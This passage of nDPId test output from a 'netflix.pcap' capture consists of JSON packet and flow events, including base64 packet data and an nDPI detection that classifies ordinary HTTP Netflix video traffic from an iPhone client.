ACPxAgDcTAAAAAIBAA\/JAgC4nAAAAAIBAA8xAgBbMwAAAAIBABJjAgD1WwAAAAIBABRRAgEEfAAAAAIBAA9+AgDPOgAAAAIBABaqAgDigQAAAAIBABt6AgDH4QAAAAIBABReAgC0QAAAAAIBAB+cAgDHAQAAAAIBABl3AgEUfgAAAAIBABGJAgCy5gAAAAIBABG1AgC7kAAAAAIBAB+HAgEUYwAAAAIBABlKAgDwcwAAAAIBABciAgCPeAAAAAIBACavAgDl9gAAAAIBACgnAgDWpgAAAAIBACL+AgCacAAAAAIBABjFAgB2QgAAAAIBABUuAgBiGgAAAAIBABT3AgDvFQAAAAIBAB+PAgB13gAAAAIBABY\/AgCCSwAAAAIBABfqAgCRFgAAAAIBAB6kAgB1gwAAAAIBABIwAgBr+wAAAAIBACBUAgCIWgAAAAIBABduAgBp0wAAAAIBABG8AgBdNwAAAAIBABOKAgDTKgAAAAIBABS2AgDGqwAAAAIBACZ6AgC04gAAAAIBABQdAgBlXAAAAAIBABQkAgCmvAAAAAIBABQNAgBxfQAAAAIBABPJAgCHLwAAAAIBABUyAgD5rQAAAAIBAB5QAgDc\/wAAAAIBAA+dAgEVqwAAAAIBABtyAgDyKwAAAAIBAB6aAgDPyQAAAAIBABjSAgDKJwAAAAIBAB4SAgCVQwAAAAIBAA4aAgDbjwAAAAIBAAxAAgCphwAAAAIBAA4aAgC4YQAAAAIBAAyYAgDw9QAAAAIBABUGAgDR5wAAAAIBABXFAgDduQAAAAIBACAuAgB7WgAAAAIBABN\/AgBuuAAAAAIBAAz1AgBqpwAAAAIBAAzVAgBjhAAAAAIBAAxkAgB3UwAAAAIBAA2GAgCCgwAAAAIBACM1AgBczwAAAAIBAByBAgB1IgAAAAIBABQCAgBVKwAAAAIBABLlAgBaegAAAAIBABnuAgBU2QAAAAIBABi0AgBexQAAAAIBABNnAgCZbwAAAAIBABEFAgCHugAAAAIBABSnAgBb\/gAAAAIBABYVAgBNjAAAAAIBABmkAgBLOAAAAAIBABllAgCfTwAAAAIBAA7fAgFBBQAAAAIBABMQAgEmSQAAAAIBAA1pAgDxegAAAAIBABBaAgDWPgAAAAIBAA7+AgDpcQAAAAIBAA4rAgDMmwAAAAIBAA48AgC8bAAAAAIBAA9RAgDhPQAAAAIBAB0zAgC1IwAAAAIBABHiAgD1ggAAAAIBAA8vAgC\/EwAAAAIBAA6qAgD7pQAAAAIBABVpAgDNWAAAAAIBADTaAgDaPwAAAAIBABCXAgDmMgAAAAIBABEyAgEIdgAAAAIBABH\/AgCxHwAAAAIBAA6NAgDcvAAAAAIBAA\/\/AgDOnQAAAAIBABCKAgBl5QAAAAIBABN6AgB2YQAAAAIBABHtAgCsGwAAAAIBABePAgCUaAAAAAIBAB3OAgBRwAAAAAIBAA\/XAgBtBgAAAAIBAA7VAgBZzAAAAAIBABLIAgBRxQAAAAIBABI6AgBQsgAAAAIBABG6AgBVpwAAAAIBABVlAgA2AQAAAAIBABX7AgA+vgAAAAIBABIuAgBKxAAAAAIBABSkAgCWlAAAAAIBABBSAgA="} +00444{"flow_id":36,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1377,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":200860,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAv3dAAEAGlg7AqAEHF\/YLjc+2AFBDrGZhKzqUH7AQD9IS0wAAAQEICh9lF+En2BCXAQEFCis6mccrOp9v"} +00468{"flow_id":34,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1378,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":242563,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"gCqoTGHM5JjWH70UCABFAABQt89AAEAGna7AqAEHF\/YLhc+0AFDwxwt9ZwF4fPAQD9KRiwAAAQEICh9lGAk1aZbfAQEFGmcBpbxnAatkZwGD5GcBjxxnAXiIZwGDzA=="} +00469{"flow_id":42,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1380,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":310551,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"gCqoTGHM5JjWH70UCABFAABQ6I1AAEAGbOjAqAEHF\/YLjc+8AFAt4\/QgFWKW1fAQD0yfFAAAAQEICh9lGEoQPXGEAQEFGhVihfUVYoYBFWKXERVinKEVYqfNFWKtdQ=="} +00468{"flow_id":43,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1381,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":322741,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"gCqoTGHM5JjWH70UCABFAABQrXBAAEAGqAXAqAEHF\/YLjc+9AFCAerxUjeFa5PAQD9KyHwAAAQEICh9lGFZz0diOAQEFGo3hVTCN4VrMjeFmHI3ha9CN4YJkjeGIDA=="} +00458{"flow_id":41,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1382,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":348262,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"gCqoTGHM5JjWH70UCABFAABIOY5AAEAGG\/DAqAEHF\/YLjc+7AFDfu3a84Gt\/ytAQD9JzCQAAAQEICh9lGG6zW2ulAQEFEuBroaLga6dK4GuFWuBriwI="} +00459{"flow_id":38,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1384,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":380574,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"gCqoTGHM5JjWH70UCABFAABIOb9AAEAGG7\/AqAEHF\/YLjc+4AFBql8H8f7uYQtAQD9LdlQAAAQEICh9lGIwUUDMHAQEFEn+7uhp\/u7\/Cf7ud0n+7o3o="} +00446{"flow_id":42,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1386,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":411626,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAErdAAEAGQs\/AqAEHF\/YLjc+8AFAt4\/QgFWKcobAQD9FtoQAAAQEICh9lGKcQPXGcAQEFChVip80VYq11"} +00445{"flow_id":42,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1387,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":413518,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAZaNAAEAG7+LAqAEHF\/YLjc+8AFAt4\/QgFWKiSbAQD9Jn9AAAAQEICh9lGKsQPXGcAQEFChVip80VYq11"} +00456{"flow_id":40,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1388,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":423982,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"gCqoTGHM5JjWH70UCABFAABI+SNAAEAGXFrAqAEHF\/YLjc+6AFDVkM5midbJMdAQD9IiTwAAAQEICh9lGLRNgRZcAQEFEonW6wmJ1vCxidbOwYnW1Gk="} +00456{"flow_id":43,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1389,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":436437,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"gCqoTGHM5JjWH70UCABFAABIlGNAAEAGwRrAqAEHF\/YLjc+9AFCAerxUjeFgjNAQD9KXswAAAQEICh9lGMBz0di4AQEFEo3hZhyN4WvQjeGCZI3hiAw="} +00458{"flow_id":41,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1390,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":448936,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"gCqoTGHM5JjWH70UCABFAABIeutAAEAG2pLAqAEHF\/YLjc+7AFDfu3a84Gt\/1tAQD\/9ycgAAAQEICh9lGMyzW2ulAQEFEuBroaLga6dK4GuFWuBriwI="} +00460{"flow_id":38,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1391,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":449770,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"gCqoTGHM5JjWH70UCABFAABIgMVAAEAG1LjAqAEHF\/YLjc+4AFBql8H8f7uYTtAQD\/\/dHAAAAQEICh9lGMwUUDMHAQEFEn+7uhp\/u7\/Cf7ud0n+7o3o="} +00457{"flow_id":40,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1395,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":483795,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"gCqoTGHM5JjWH70UCABFAABIQXhAAEAGFAbAqAEHF\/YLjc+6AFDVkM5midbJPdAQD\/8h3gAAAQEICh9lGOxNgRZcAQEFEonW6wmJ1vCxidbOwYnW1Gk="} +00444{"flow_id":43,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1399,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":578103,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAaFJAAEAG7TPAqAEHF\/YLjc+9AFCAerxUjeF3RLAQD0qOCgAAAQEICh9lGUVz0dlsAQEFCo3hgmSN4YgM"} +00444{"flow_id":35,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1401,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":605590,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAOwVAAEAGGonAqAEHF\/YLhc+1AFCjZhpFWCBhgbAQD6XDOQAAAQEICh9lGWAvkElpAQEFClggZylYIHgh"} +00457{"flow_id":44,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1402,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":616358,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"gCqoTGHM5JjWH70UCABFAABIYzxAAEAG8kHAqAEHF\/YLjc++AFBtOQshPQ7P4dAQD9GKmgAAAQEICh9lGWrE7\/4fAQEFEj0Oyjk9Ds+9PQ7bMT0O5l0="} +00445{"flow_id":43,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1403,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":630396,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABA0U5AAEAGhDfAqAEHF\/YLjc+9AFCAerxUjeF3XLAQD\/+M4gAAAQEICh9lGXhz0dmUAQEFCo3hgmSN4YgM"} +00444{"flow_id":43,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1404,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":630918,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAXvNAAEAG9pLAqAEHF\/YLjc+9AFCAerxUjeF9BLAQD9KHSgAAAQEICh9lGXhz0dmxAQEFCo3hgmSN4YgM"} +00445{"flow_id":44,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1406,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":657832,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAdS1AAEAG4FjAqAEHF\/YLjc++AFBtOQshPQ7VibAQD9K41AAAAQEICh9lGZLE7\/44AQEFCj0O2zE9DuZd"} +00456{"flow_id":36,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1415,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":794099,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"gCqoTGHM5JjWH70UCABFAABIthJAAEAGn2vAqAEHF\/YLjc+2AFBDrGZhKzqfb9AQD6VHgwAAAQEICh9lGhQn2BM9AQEFEis6lDcrOpnHKzqlLys6qtc="} +00444{"flow_id":36,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1419,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":835756,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAzHBAAEAGiRXAqAEHF\/YLjc+2AFBDrGZhKzqlF7AQD9Ll8gAAAQEICh9lGjsn2BNVAQEFCis6pS8rOqrX"} +00457{"flow_id":38,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1426,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":945227,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"gCqoTGHM5JjWH70UCABFAABI2IhAAEAGfPXAqAEHF\/YLjc+4AFBql8H8f7ujetAQD6bTvwAAAQEICh9lGqMUUDU+AQEFEn+7ndJ\/u532f7u6Gn+7v8I="} +00456{"flow_id":41,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1427,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319058,"pkt_ts_usec":958980,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"gCqoTGHM5JjWH70UCABFAABIQyxAAEAGElLAqAEHF\/YLjc+7AFDfu3a84GuLAtAQD6Zo2QAAAQEICh9lGrCzW24LAQEFEuBrhVrga4V+4GuhouBrp0o="} +00446{"flow_id":38,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1464,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319059,"pkt_ts_usec":446881,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAZNFAAEAG8LTAqAEHF\/YLjc+4AFBql8H8f7upIrAQD9IldAAAAQEICh9lHIAUUDcpAQEFCn+7uhp\/u7\/C"} +00445{"flow_id":41,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1467,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319059,"pkt_ts_usec":471993,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABA\/RlAAEAGWGzAqAEHF\/YLjc+7AFDfu3a84GuQqrAQD9JK3gAAAQEICh9lHJizW3ALAQEFCuBroaLga6dK"} +00456{"flow_id":40,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1480,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319059,"pkt_ts_usec":632219,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"gCqoTGHM5JjWH70UCABFAABIB+5AAEAGTZDAqAEHF\/YLjc+6AFDVkM5midbUadAQD6YTiwAAAQEICh9lHTBNgRscAQEFEonWzsGJ1s7lidbrCYnW8LE="} +00445{"flow_id":40,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1483,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319059,"pkt_ts_usec":689426,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAWJRAAEAG\/PHAqAEHF\/YLjc+6AFDVkM5midbaEbAQD9LeygAAAQEICh9lHWZNgRs3AQEFConW6wmJ1vCx"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1907,"source":"netflix.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1484319064590,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.3.140","src_port":53183,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1907,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":590230,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAVptAAEAGBuzAqAEHF\/YDjM+\/AFBrAzOSAAAAALAC\/\/+cMAAAAgQFtAEDAwUBAQgKH2UvkQAAAAAEAgAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1909,"source":"netflix.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1484319064593,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.11.141","src_port":53184,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1909,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":593980,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAVrtAAEAG\/srAqAEHF\/YLjc\/AAFDz13keAAAAALAC\/\/\/FywAAAgQFtAEDAwUBAQgKH2UvkwAAAAAEAgAA"} +00440{"flow_id":46,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1911,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":620050,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAADsGWmoX9guNwKgBBwBQz8BQi7Oi89d5H6AS\/\/+uwwAAAgQFtAEDAwkEAggKYvDA2R9lL5M="} +00442{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1912,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":620707,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAADgGZWsX9gOMwKgBBwBQz78\/hnHMawMzk6AS\/\/+duQAAAgQFtAEDAwkEAggKbx\/u9B9lL5E="} +00428{"flow_id":46,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1913,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":621471,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0SOFAAEAGDLHAqAEHF\/YLjc\/AAFDz13kfUIuzo4AQEBXNXwAAAQEICh9lL7Bi8MDZ"} +00428{"flow_id":45,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1914,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":621745,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0y1dAAEAGkjvAqAEHF\/YDjM+\/AFBrAzOTP4ZxzYAQEBW8UwAAAQEICh9lL7BvH+70"} +01113{"flow_id":46,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1916,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":624064,"pkt_caplen":575,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":575,"pkt_l4_len":541,"pkt":"gCqoTGHM5JjWH70UCABFAAIx\/M5AAEAGVsbAqAEHF\/YLjc\/AAFDz13kfUIuzo4AYEBXADAAAAQEICh9lL7Ji8MDZR0VUIC8\/bz1BUUVmS3Eyb01yTFJpV0wycHVOUUpKcVRJUnFoR0xqU3NldTIzVjJIWDZrSWlVOUpwYkNhQnh4YUlvejIxcVFOS3VEVWFPSVp3ZFRseDIzRE1WeGFiYkN3bXZFbHVpcERXMnR2Rk1saE1SdHdkaGhWbGJ2OUtHRmFiaXU1S0gwU2x4MFZqT0tfd3pUaHBfdmxIaFdBNGtXOWdheVlFV3RqTk5LZSZ2PTMmZT0xNDg0MzQ3ODUwJnQ9VG5QNTlKQjF3YjVVVE9DcjBtLUtRVTJrR1BvIEhUVFAvMS4xDQpIb3N0OiAyMy4yNDYuMTEuMTQxDQpYLVBsYXliYWNrLVNlc3Npb24tSWQ6IDQzRERBRkI5LUZFMkYtNEM2RS05QjkxLUFCMERDNDY0ODdBMQ0KUmFuZ2U6IGJ5dGVzPTAtMjA1OA0KQWNjZXB0OiAqLyoNClVzZXItQWdlbnQ6IEFwcGxlQ29yZU1lZGlhLzEuMC4wLjE0QzkyIChpUGhvbmU7IFU7IENQVSBPUyAxMF8yIGxpa2UgTWFjIE9TIFg7IGVuX3VzKQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi11cw0KQWNjZXB0LUVuY29kaW5nOiBpZGVudGl0eQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +00957{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1916,"source":"netflix.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":4,"flow_first_seen":1484319064593,"flow_last_seen":1484319064624,"flow_tot_l4_data_len":657,"flow_min_l4_data_len":32,"flow_max_l4_data_len":541,"flow_avg_l4_data_len":164,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.11.141","src_port":53184,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"23.246.11.141","url":"23.246.11.141\/?o=AQEfKq2oMrLRiWL2puNQJJqTIRqhGLjSseu23V2HX6kIiU9JpbCaBxxaIoz21qQNKuDUaOIZwdTlx23DMVxabbCwmvEluipDW2tvFMlhMRtwdhhVlbv9KGFabiu5KH0Slx0VjOK_wzThp_vlHhWA4kW9gayYEWtjNNKe&v=3&e=1484347850&t=TnP59JB1wb5UTOCr0m-KQU2kGPo","code":0,"content_type":"","user_agent":"AppleCoreMedia\/1.0.0.14C92 (iPhone; U; CPU OS 10_2 like Mac OS X; en_us)"}} +01108{"flow_id":45,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1917,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":634961,"pkt_caplen":571,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":571,"pkt_l4_len":537,"pkt":"gCqoTGHM5JjWH70UCABFAAIt069AAEAGh+rAqAEHF\/YDjM+\/AFBrAzOTP4ZxzYAYEBUSvwAAAQEICh9lL7NvH+70R0VUIC8\/bz1BUUVmS3Eyb01yTFJpV0wtcC1WZUlaNldLUnEtWDZMTXZhTHFneFdCQ3VGYmgwOU1wcmVPUlVVT081VHgxNjgzSFBuTFk2QlBqTl85bWxEdVlpaEdab1h1OXUwb3pIOFJGaW9CTl9KRE5pUnNjaWRqdm9TZFdtbHlaZ1BOYW5zVzBsa0JyNFg4MUh2bG9PaThCU19leFZTUGhNeUpRVEI1Ymcmdj0zJmU9MTQ4NDM0Nzg1MCZ0PS04dTR2bGNQdUZxY09Mbkx5YjlERHRLLWJCNCBIVFRQLzEuMQ0KSG9zdDogMjMuMjQ2LjMuMTQwDQpYLVBsYXliYWNrLVNlc3Npb24tSWQ6IDQzRERBRkI5LUZFMkYtNEM2RS05QjkxLUFCMERDNDY0ODdBMQ0KUmFuZ2U6IGJ5dGVzPTAtODk4DQpBY2NlcHQ6ICovKg0KVXNlci1BZ2VudDogQXBwbGVDb3JlTWVkaWEvMS4wLjAuMTRDOTIgKGlQaG9uZTsgVTsgQ1BVIE9TIDEwXzIgbGlrZSBNYWMgT1MgWDsgZW5fdXMpDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzDQpBY2NlcHQtRW5jb2Rpbmc6IGlkZW50aXR5DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} 